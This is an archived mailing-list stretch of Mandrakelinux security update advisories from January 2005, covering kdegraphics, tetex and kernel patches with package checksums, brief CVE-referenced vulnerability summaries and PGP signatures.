 b52a75346df22d213a3c681fc01996f7  x86_64/10.1/RPMS/kdegraphics-common-3.2.3-17.4.101mdk.x86_64.rpm
 f0a758b1f6677a6dbc2720be12938c58  x86_64/10.1/RPMS/kdegraphics-kdvi-3.2.3-17.4.101mdk.x86_64.rpm
 538b0675b06a9175f6f05529408ced58  x86_64/10.1/RPMS/kdegraphics-kfax-3.2.3-17.4.101mdk.x86_64.rpm
 cd346f9caa2daa5b743da380a90398ee  x86_64/10.1/RPMS/kdegraphics-kghostview-3.2.3-17.4.101mdk.x86_64.rpm
 180f28bad724a7c5a82197024ee2e72e  x86_64/10.1/RPMS/kdegraphics-kiconedit-3.2.3-17.4.101mdk.x86_64.rpm
 865abc55d59f76bb8031ec5f40475138  x86_64/10.1/RPMS/kdegraphics-kooka-3.2.3-17.4.101mdk.x86_64.rpm
 863ef60f3dbf0c84b8715e8db25cc65c  x86_64/10.1/RPMS/kdegraphics-kpaint-3.2.3-17.4.101mdk.x86_64.rpm
 3f86f599521d76b7259b262ae864b9e5  x86_64/10.1/RPMS/kdegraphics-kpdf-3.2.3-17.4.101mdk.x86_64.rpm
 d109f39c8aa03cbbc95583fa871745d8  x86_64/10.1/RPMS/kdegraphics-kpovmodeler-3.2.3-17.4.101mdk.x86_64.rpm
 28407a6efa3d3a043fe260bc42ad9f9a  x86_64/10.1/RPMS/kdegraphics-kruler-3.2.3-17.4.101mdk.x86_64.rpm
 75fcae9f28a7dbb5581e543b18270b87  x86_64/10.1/RPMS/kdegraphics-ksnapshot-3.2.3-17.4.101mdk.x86_64.rpm
 8719e1b7dd182a79a0dac6b2c056adeb  x86_64/10.1/RPMS/kdegraphics-ksvg-3.2.3-17.4.101mdk.x86_64.rpm
 def53a7c4ae32ffb2349cd0e9a851706  x86_64/10.1/RPMS/kdegraphics-kuickshow-3.2.3-17.4.101mdk.x86_64.rpm
 34363c42a1f2a3be07d50359c9c3c881  x86_64/10.1/RPMS/kdegraphics-kview-3.2.3-17.4.101mdk.x86_64.rpm
 2ba507c7233d5735904d99ac2fed6b17  x86_64/10.1/RPMS/kdegraphics-mrmlsearch-3.2.3-17.4.101mdk.x86_64.rpm
 ab18b5cf2ccaeb9e9d53f8d514cf1892  x86_64/10.1/RPMS/lib64kdegraphics0-common-3.2.3-17.4.101mdk.x86_64.rpm
 257b8709d19bb9c2b4494f19eb32e1e8  x86_64/10.1/RPMS/lib64kdegraphics0-common-devel-3.2.3-17.4.101mdk.x86_64.rpm
 4eef35d07d6e006f77df3ee11d3a9560  x86_64/10.1/RPMS/lib64kdegraphics0-kghostview-3.2.3-17.4.101mdk.x86_64.rpm
 c38d981ea22fc6cadabdef02e9e1cc07  x86_64/10.1/RPMS/lib64kdegraphics0-kghostview-devel-3.2.3-17.4.101mdk.x86_64.rpm
 351f5d27919f18cb668c23dc280b73f0  x86_64/10.1/RPMS/lib64kdegraphics0-kooka-3.2.3-17.4.101mdk.x86_64.rpm
 bdb74186c31ca2b412fad50778c57121  x86_64/10.1/RPMS/lib64kdegraphics0-kooka-devel-3.2.3-17.4.101mdk.x86_64.rpm
 55114dc8d5f800f715417dbd335374c3  x86_64/10.1/RPMS/lib64kdegraphics0-kpovmodeler-3.2.3-17.4.101mdk.x86_64.rpm
 7e6b4855ed0fdb66490e2a8a39fcef83  x86_64/10.1/RPMS/lib64kdegraphics0-kpovmodeler-devel-3.2.3-17.4.101mdk.x86_64.rpm
 cd81e2024ba8297ca591635424862a57  x86_64/10.1/RPMS/lib64kdegraphics0-ksvg-3.2.3-17.4.101mdk.x86_64.rpm
 a65cc4467ad6cc76875ff7af3c5dabe1  x86_64/10.1/RPMS/lib64kdegraphics0-ksvg-devel-3.2.3-17.4.101mdk.x86_64.rpm
 f392ab2c87026dcecf59192c33fa8893  x86_64/10.1/RPMS/lib64kdegraphics0-kuickshow-3.2.3-17.4.101mdk.x86_64.rpm
 f6a172d99788762c9ae4a629e28272ac  x86_64/10.1/RPMS/lib64kdegraphics0-kview-3.2.3-17.4.101mdk.x86_64.rpm
 e74204d00991a1d7ae92b58a0c8b1b5f  x86_64/10.1/RPMS/lib64kdegraphics0-kview-devel-3.2.3-17.4.101mdk.x86_64.rpm
 ebfb764b8f9507e1ebde21d1bb26d131  x86_64/10.1/RPMS/lib64kdegraphics0-mrmlsearch-3.2.3-17.4.101mdk.x86_64.rpm
 ca802ced9824501790a28f39f6d86543  x86_64/10.1/SRPMS/kdegraphics-3.2.3-17.4.101mdk.src.rpm

 Corporate Server 3.0:
 dfff49798c7876a734412030d8c8f88d  corporate/3.0/RPMS/kdegraphics-3.2-15.5.C30mdk.i586.rpm
 6e0aa658d7d9295ad1abe02774d086e0  corporate/3.0/RPMS/kdegraphics-common-3.2-15.5.C30mdk.i586.rpm
 3d1fadfca4a5d6ca4da5b8c365437114  corporate/3.0/RPMS/kdegraphics-kdvi-3.2-15.5.C30mdk.i586.rpm
 d217719226d15bedd0a2b72ff71d72bc  corporate/3.0/RPMS/kdegraphics-kfax-3.2-15.5.C30mdk.i586.rpm
 6c7b51e7df01bc33f14257f164b78559  corporate/3.0/RPMS/kdegraphics-kghostview-3.2-15.5.C30mdk.i586.rpm
 840b1425201f0cbf20243f448d7bb742  corporate/3.0/RPMS/kdegraphics-kiconedit-3.2-15.5.C30mdk.i586.rpm
 7974758345224e012e7b4ae5324545ac  corporate/3.0/RPMS/kdegraphics-kooka-3.2-15.5.C30mdk.i586.rpm
 12a32d9cc423f2eb45abdd52c881711d  corporate/3.0/RPMS/kdegraphics-kpaint-3.2-15.5.C30mdk.i586.rpm
 c487a477f371f6542ca59f2dfbfc2c24  corporate/3.0/RPMS/kdegraphics-kpdf-3.2-15.5.C30mdk.i586.rpm
 4447ee0d9e42179cf65c1f3d1c6469d7  corporate/3.0/RPMS/kdegraphics-kpovmodeler-3.2-15.5.C30mdk.i586.rpm
 1da8e75381e6d72936c9a5b84ccc1593  corporate/3.0/RPMS/kdegraphics-kruler-3.2-15.5.C30mdk.i586.rpm
 3bcce0e613fa286cbc2b9155b980f52b  corporate/3.0/RPMS/kdegraphics-ksnapshot-3.2-15.5.C30mdk.i586.rpm
 98b038ffdccedc575bcc4bf0f96c0005  corporate/3.0/RPMS/kdegraphics-ksvg-3.2-15.5.C30mdk.i586.rpm
 574bff0e60eaa9bca31ff73eaa0ef7ef  corporate/3.0/RPMS/kdegraphics-kuickshow-3.2-15.5.C30mdk.i586.rpm
 5cbc51081a126cac7d1b5f7117736241  corporate/3.0/RPMS/kdegraphics-kview-3.2-15.5.C30mdk.i586.rpm
 e1463ecc8bd9acd4f42053c1299e5dd9  corporate/3.0/RPMS/kdegraphics-mrmlsearch-3.2-15.5.C30mdk.i586.rpm
 3dfcdef860008ef41d7a5d6592ea3401  corporate/3.0/RPMS/libkdegraphics0-common-3.2-15.5.C30mdk.i586.rpm
 270bdd4bbb2e39ec4452cfd3c63e1619  corporate/3.0/RPMS/libkdegraphics0-common-devel-3.2-15.5.C30mdk.i586.rpm
 24c23d69a75cf83ec0bb38d134cb79dc  corporate/3.0/RPMS/libkdegraphics0-kooka-3.2-15.5.C30mdk.i586.rpm
 567155478eecd49b28eb8d45555dafd4  corporate/3.0/RPMS/libkdegraphics0-kooka-devel-3.2-15.5.C30mdk.i586.rpm
 f414d912828b30c3404b5a9e67b5b411  corporate/3.0/RPMS/libkdegraphics0-kpovmodeler-3.2-15.5.C30mdk.i586.rpm
 81696425936929a238e374a4cf83b411  corporate/3.0/RPMS/libkdegraphics0-kpovmodeler-devel-3.2-15.5.C30mdk.i586.rpm
 3798ce2366de6ad53684371bd2ad236e  corporate/3.0/RPMS/libkdegraphics0-ksvg-3.2-15.5.C30mdk.i586.rpm
 0f5143b66eff6662ddaa25b55f5f4383  corporate/3.0/RPMS/libkdegraphics0-ksvg-devel-3.2-15.5.C30mdk.i586.rpm
 8b316e388190a78d9dbf7ed3b947b7f4  corporate/3.0/RPMS/libkdegraphics0-kuickshow-3.2-15.5.C30mdk.i586.rpm
 8762fe66cf0061cea7b9ae584a16e9ca  corporate/3.0/RPMS/libkdegraphics0-kview-3.2-15.5.C30mdk.i586.rpm
 ca9c544d53c1080ed3af1cbabf816fba  corporate/3.0/RPMS/libkdegraphics0-kview-devel-3.2-15.5.C30mdk.i586.rpm
 5faeb92f67ec30c27c145b70d7820bb5  corporate/3.0/RPMS/libkdegraphics0-mrmlsearch-3.2-15.5.C30mdk.i586.rpm
 108d530befa5254155c17368884326c2  corporate/3.0/SRPMS/kdegraphics-3.2-15.5.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9yG1mqjQ0CJFipgRAgMlAKC/8+I5ZOM+6QqEgO6qx6OHvSdMAACfZOkf
VSjCg9HCcuLkUezLEPxXrQE=
=2XE9
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Wed Jan 26 04:53:58 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Tue, 25 Jan 2005 21:53:58 -0700
Subject: [Full-Disclosure] MDKSA-2005:021 - Updated tetex packages fix
	buffer overflow vulnerability
Message-ID: <E1CtfBm-0008HN-10@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           tetex
 Advisory ID:            MDKSA-2005:021
 Date:                   January 25th, 2005

 Affected versions:	 10.0, 10.1, Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 A buffer overflow vulnerability was discovered in the xpdf PDF          
 code, which could allow for arbitrary code execution as the user 
 viewing a PDF file. The vulnerability exists due to insufficient bounds
 checking while processing a PDF file that provides malicious values in
 the /Encrypt /Length tag. Tetex uses xpdf code and is susceptible to the
 same vulnerability.
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 40d6aebb8d91f7b04d502c13c0c7988d  10.0/RPMS/jadetex-3.12-93.2.100mdk.i586.rpm
 41f2fa1c103e0f52d928082df6092702  10.0/RPMS/tetex-2.0.2-14.2.100mdk.i586.rpm
 af3e3902dbb7b92bd17d75266ab19f55  10.0/RPMS/tetex-afm-2.0.2-14.2.100mdk.i586.rpm
 f5c0808347d158d73c538e33bb16f4eb  10.0/RPMS/tetex-context-2.0.2-14.2.100mdk.i586.rpm
 b241d5b5d6642c208c55b25d139ea3db  10.0/RPMS/tetex-devel-2.0.2-14.2.100mdk.i586.rpm
 ea189c41518751ec76c34892d51fe6fa  10.0/RPMS/tetex-doc-2.0.2-14.2.100mdk.i586.rpm
 f7c4338ad2fa1577a61f3c9e6d171e78  10.0/RPMS/tetex-dvilj-2.0.2-14.2.100mdk.i586.rpm
 2ab382ddc6314e39697703d41287bb85  10.0/RPMS/tetex-dvipdfm-2.0.2-14.2.100mdk.i586.rpm
 0f271b4912b99e8f78b756e28b79e3b7  10.0/RPMS/tetex-dvips-2.0.2-14.2.100mdk.i586.rpm
 e9537b9c894f25be502dd30f8cbb9093  10.0/RPMS/tetex-latex-2.0.2-14.2.100mdk.i586.rpm
 457cf9e27e637f2af71b3f318bced378  10.0/RPMS/tetex-mfwin-2.0.2-14.2.100mdk.i586.rpm
 d589c6473932773c2dae23507b6f8da3  10.0/RPMS/tetex-texi2html-2.0.2-14.2.100mdk.i586.rpm
 519f7e12dd92391036eae21474b1f7ea  10.0/RPMS/tetex-xdvi-2.0.2-14.2.100mdk.i586.rpm
 7b9f14eefca1f88d17177b326377ae48  10.0/RPMS/xmltex-1.9-41.2.100mdk.i586.rpm
 6c10db8e7c4b28f137e925830e0209be  10.0/SRPMS/tetex-2.0.2-14.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 3baa5126a4177a234774aff259885dee  amd64/10.0/RPMS/jadetex-3.12-93.2.100mdk.amd64.rpm
 8e7f1561dee9f3c7c340c3a0bce0748a  amd64/10.0/RPMS/tetex-2.0.2-14.2.100mdk.amd64.rpm
 df30facae4620505899124645b3c8d4e  amd64/10.0/RPMS/tetex-afm-2.0.2-14.2.100mdk.amd64.rpm
 f12bb795148163d2bb95d004d4362337  amd64/10.0/RPMS/tetex-context-2.0.2-14.2.100mdk.amd64.rpm
 61cdcd9359db5ff35f6544e4d5275798  amd64/10.0/RPMS/tetex-devel-2.0.2-14.2.100mdk.amd64.rpm
 d211b65dd282fd9bf4fe96bf5b179c20  amd64/10.0/RPMS/tetex-doc-2.0.2-14.2.100mdk.amd64.rpm
 8e80407a7cd67d10b5530397e0c84825  amd64/10.0/RPMS/tetex-dvilj-2.0.2-14.2.100mdk.amd64.rpm
 f380ff2dc335c076d83ec4c7a04296ae  amd64/10.0/RPMS/tetex-dvipdfm-2.0.2-14.2.100mdk.amd64.rpm
 725702ea717f0aee358a3f6f8215b44f  amd64/10.0/RPMS/tetex-dvips-2.0.2-14.2.100mdk.amd64.rpm
 7823c3937b223d32ca4564d3f89783cc  amd64/10.0/RPMS/tetex-latex-2.0.2-14.2.100mdk.amd64.rpm
 9f2b8571f6aae75f01f5550453a663bd  amd64/10.0/RPMS/tetex-mfwin-2.0.2-14.2.100mdk.amd64.rpm
 e4e2f03a4175dc115b61835a7d46e730  amd64/10.0/RPMS/tetex-texi2html-2.0.2-14.2.100mdk.amd64.rpm
 bf6544e25d3b3814332fed95f503318a  amd64/10.0/RPMS/tetex-xdvi-2.0.2-14.2.100mdk.amd64.rpm
 e30a3d2c064ac446c630e082e632b4ff  amd64/10.0/RPMS/xmltex-1.9-41.2.100mdk.amd64.rpm
 6c10db8e7c4b28f137e925830e0209be  amd64/10.0/SRPMS/tetex-2.0.2-14.2.100mdk.src.rpm

 Mandrakelinux 10.1:
 eca5fcbe65ed5c3797e06ed9ff1a7f13  10.1/RPMS/jadetex-3.12-98.2.101mdk.i586.rpm
 c77f7180326a753e16b32432802a54d4  10.1/RPMS/tetex-2.0.2-19.2.101mdk.i586.rpm
 2b911077426596c3fdc2d0f0b001e3d9  10.1/RPMS/tetex-afm-2.0.2-19.2.101mdk.i586.rpm
 7fc9384f549a69836ceb0a313231cd2f  10.1/RPMS/tetex-context-2.0.2-19.2.101mdk.i586.rpm
 ab251e5f024fa5f68418d0ec93ac69c1  10.1/RPMS/tetex-devel-2.0.2-19.2.101mdk.i586.rpm
 1178eba7e1977da9f2030c8988d952b9  10.1/RPMS/tetex-doc-2.0.2-19.2.101mdk.i586.rpm
 532aed1e7b7b86d06e920ce7607878f3  10.1/RPMS/tetex-dvilj-2.0.2-19.2.101mdk.i586.rpm
 839b4a857a67530927ff53e3ae8d86dc  10.1/RPMS/tetex-dvipdfm-2.0.2-19.2.101mdk.i586.rpm
 9beb5ef910f48934f5502c2dc98213bc  10.1/RPMS/tetex-dvips-2.0.2-19.2.101mdk.i586.rpm
 18cbe96e3029686d99e88b236572a62b  10.1/RPMS/tetex-latex-2.0.2-19.2.101mdk.i586.rpm
 12ed83277f18fa2bb01335f3e0b010c4  10.1/RPMS/tetex-mfwin-2.0.2-19.2.101mdk.i586.rpm
 7a8027ae68b579e471b368c46f3c32ed  10.1/RPMS/tetex-texi2html-2.0.2-19.2.101mdk.i586.rpm
 2d37ee84d4f0cde89e4886de9df078b9  10.1/RPMS/tetex-xdvi-2.0.2-19.2.101mdk.i586.rpm
 85e3c674ccc6902c03cbc282ed4aa66e  10.1/RPMS/xmltex-1.9-46.2.101mdk.i586.rpm
 dde980ea4d7c444ef0d522984fd87633  10.1/SRPMS/tetex-2.0.2-19.2.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 a62b9a7e1371a93b530985284198e7dd  x86_64/10.1/RPMS/jadetex-3.12-98.2.101mdk.x86_64.rpm
 64c7cf3a6a022fa496055553405a7c34  x86_64/10.1/RPMS/tetex-2.0.2-19.2.101mdk.x86_64.rpm
 6085e92f336de0eda7e285d00a075286  x86_64/10.1/RPMS/tetex-afm-2.0.2-19.2.101mdk.x86_64.rpm
 d64f00f92cdda49926df9b834b3ba325  x86_64/10.1/RPMS/tetex-context-2.0.2-19.2.101mdk.x86_64.rpm
 c28cec8afde1d2f08fe6c43eb3a27811  x86_64/10.1/RPMS/tetex-devel-2.0.2-19.2.101mdk.x86_64.rpm
 568739e6b166790afbf3de9624a2b8f2  x86_64/10.1/RPMS/tetex-doc-2.0.2-19.2.101mdk.x86_64.rpm
 7f8b83210a2694d10b4066190cb34a0e  x86_64/10.1/RPMS/tetex-dvilj-2.0.2-19.2.101mdk.x86_64.rpm
 1ac663acf2c915376a9ce8fd2626a3e1  x86_64/10.1/RPMS/tetex-dvipdfm-2.0.2-19.2.101mdk.x86_64.rpm
 32cb8f7149cf6f886b50fbbc5a9e4377  x86_64/10.1/RPMS/tetex-dvips-2.0.2-19.2.101mdk.x86_64.rpm
 528ec8126e736bd3a21b72ff2d147a20  x86_64/10.1/RPMS/tetex-latex-2.0.2-19.2.101mdk.x86_64.rpm
 10ebdf7f419cc91c7ab10552e5003e9d  x86_64/10.1/RPMS/tetex-mfwin-2.0.2-19.2.101mdk.x86_64.rpm
 b13e174640ea86a7da131625812f1003  x86_64/10.1/RPMS/tetex-texi2html-2.0.2-19.2.101mdk.x86_64.rpm
 c79803217976d09397864afea0206965  x86_64/10.1/RPMS/tetex-xdvi-2.0.2-19.2.101mdk.x86_64.rpm
 adb9f1d3b3bca4d4880578abb39dde1d  x86_64/10.1/RPMS/xmltex-1.9-46.2.101mdk.x86_64.rpm
 dde980ea4d7c444ef0d522984fd87633  x86_64/10.1/SRPMS/tetex-2.0.2-19.2.101mdk.src.rpm

 Corporate Server 3.0:
 9c2b33053456652155f02b6d03195f15  corporate/3.0/RPMS/jadetex-3.12-93.2.C30mdk.i586.rpm
 31297608c24b9a17ad09da551b502f62  corporate/3.0/RPMS/tetex-2.0.2-14.2.C30mdk.i586.rpm
 5194001eb838de6d57b4117fc4022bb6  corporate/3.0/RPMS/tetex-afm-2.0.2-14.2.C30mdk.i586.rpm
 1384feb89e678fcb1d453a3b58ff2398  corporate/3.0/RPMS/tetex-context-2.0.2-14.2.C30mdk.i586.rpm
 9dd1376bed60d332d73678b419974fbb  corporate/3.0/RPMS/tetex-devel-2.0.2-14.2.C30mdk.i586.rpm
 44040f05b2e7102bbd1a380f664a5467  corporate/3.0/RPMS/tetex-doc-2.0.2-14.2.C30mdk.i586.rpm
 a12fcd0d1d32333f3b35db8ed26f700c  corporate/3.0/RPMS/tetex-dvilj-2.0.2-14.2.C30mdk.i586.rpm
 be5e8c23a2ae789add263c27f5436ee0  corporate/3.0/RPMS/tetex-dvipdfm-2.0.2-14.2.C30mdk.i586.rpm
 c860bf20a37e24e3d033b30dec262d47  corporate/3.0/RPMS/tetex-dvips-2.0.2-14.2.C30mdk.i586.rpm
 3998ef51524aac72b036a6125b4914a2  corporate/3.0/RPMS/tetex-latex-2.0.2-14.2.C30mdk.i586.rpm
 95d5aa79cfcc4b86f0fe675587f0886e  corporate/3.0/RPMS/tetex-mfwin-2.0.2-14.2.C30mdk.i586.rpm
 15649bafe0fe99d73a3ea76c42de20f3  corporate/3.0/RPMS/tetex-texi2html-2.0.2-14.2.C30mdk.i586.rpm
 4316a252663322c106375779825cc04f  corporate/3.0/RPMS/tetex-xdvi-2.0.2-14.2.C30mdk.i586.rpm
 472b4f90c8c97796a90c8c9f602dbe93  corporate/3.0/RPMS/xmltex-1.9-41.2.C30mdk.i586.rpm
 25a861bbcc9bd9b119b022d95b3fa8d0  corporate/3.0/SRPMS/tetex-2.0.2-14.2.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9yJlmqjQ0CJFipgRAmRZAJ4oCt3Cp46pUGDlVwNdFLBWlsxZfACgg7RO
IhOLTHvlWob/LZZOjxJo/j4=
=XJ1V
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Wed Jan 26 04:57:24 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Tue, 25 Jan 2005 21:57:24 -0700
Subject: [Full-Disclosure] MDKSA-2005:022 - Updated cups packages fix
	multiple vulnerabilities
Message-ID: <E1CtfF6-0008Te-Jh@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           kernel
 Advisory ID:            MDKSA-2005:022
 Date:                   January 25th, 2005

 Affected versions:	 10.0, 10.1, 9.2, Corporate Server 2.1,
			 Corporate Server 3.0,
			 Multi Network Firewall 8.2
 ______________________________________________________________________

 Problem Description:

 A number of vulnerabilities are fixed in the 2.4 and 2.6 kernels with
 this advisory:
 
 - Multiple race conditions in the terminal layer of 2.4 and 2.6
   kernels (prior to 2.6.9) can allow a local attacker to obtain
   portions of kernel data or allow remote attackers to cause a kernel
   panic by switching from console to PPP line discipline, then quickly
   sending data that is received during the switch (CAN-2004-0814)
 
 - Richard Hart found an integer underflow problem in the iptables
   firewall logging rules that can allow a remote attacker to crash the
   machine by using a specially crafted IP packet.  This is only
   possible, however, if firewalling is enabled.  The problem only
   affects 2.6 kernels and was fixed  upstream in 2.6.8 (CAN-2004-0816)
 
 - Stefan Esser found several remote DoS confitions in the smbfs file
   system.  This could be exploited by a hostile SMB server (or an
   attacker injecting packets into the network) to crash the client
   systems (CAN-2004-0883 and CAN-2004-0949)
 
 - Paul Starzetz and Georgi Guninski reported, independantly, that bad
   argument handling and bad integer arithmetics in the IPv4 sendmsg
   handling of control messages could lead to a local attacker crashing
   the machine.  The fixes were done by Herbert Xu (CAN-2004-1016)
 
 - Rob Landley discovered a race condition in the handling of
   /proc/.../cmdline where, under rare circumstances, a user could read
   the environment variables of another process that was still spawning
   leading to the potential disclosure of sensitive information such as
   passwords (CAN-2004-1058)
 
 - Paul Starzetz reported that the missing serialization in
   unix_dgram_recvmsg() which was added to kernel 2.4.28 can be used by
   a local attacker to gain elevated (root) privileges (CAN-2004-1068)
 
 - Ross Kendall Axe discovered a possible kernel panic (DoS) while
   sending AF_UNIX network packets if certain SELinux-related kernel
   options were enabled.  By default the CONFIG_SECURITY_NETWORK and
   CONFIG_SECURITY_SELINUX options are not enabled (CAN-2004-1069)
 
 - Paul Starzetz of isec.pl discovered several issues with the error
   handling of the ELF loader routines in the kernel.  The fixes were
   provided by Chris Wright (CAN-2004-1070, CAN-2004-1071,
   CAN-2004-1072, CAN-2004-1073)
 
 - It was discovered that hand-crafted a.out binaries could be used to
   trigger a local DoS condition in both the 2.4 and 2.6 kernels.  The
   fixes were done by Chris Wright (CAN-2004-1074)
 
 - Paul Starzetz found bad handling in the IGMP code which could lead
   to a local attacker being able to crash the machine.  The fix was
   done by Chris Wright (CAN-2004-1137)
 
 - Jeremy Fitzhardinge discovered two buffer overflows in the
   sys32_ni_syscall() and sys32_vm86_warning() functions that could be
   used to overwrite kernel memory with attacker-supplied code resulting
   in privilege escalation (CAN-2004-1151)
 
 - Paul Starzetz found locally exploitable flaws in the binary format
   loader's uselib() function that could be abused to allow a local
   user to obtain root privileges (CAN-2004-1235)
 
 - Paul Starzetz found an exploitable flaw in the page fault handler
   when running on SMP machines (CAN-2005-0001)
 
 - A vulnerability in insert_vm_struct could allow a locla user to
   trigger BUG() when the user created a large vma that overlapped with
   arg pages during exec (CAN-2005-0003)
 
 - Paul Starzetz also found a number of vulnerabilities in the kernel
   binfmt_elf loader that could lead a local user to obtain elevated
   (root) privileges (isec-0017-binfmt_elf)
 
 The provided packages are patched to fix these vulnerabilities.  All
 users are encouraged to upgrade to these updated kernels.
 
 To update your kernel, please follow the directions located at:
 
   http://www.mandrakesoft.com/security/kernelupdate
 
 PLEASE NOTE: Mandrakelinux 10.0 users will need to upgrade to the
 latest module-init-tools package prior to upgrading their kernel.
 Likewise, MNF8.2 users will need to upgrade to the latest modutils
 package prior to upgrading their kernel.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0814
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0816
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0883
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0949
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1016
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1058
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1068
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1069
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1070
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1071
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1072
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1073
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1074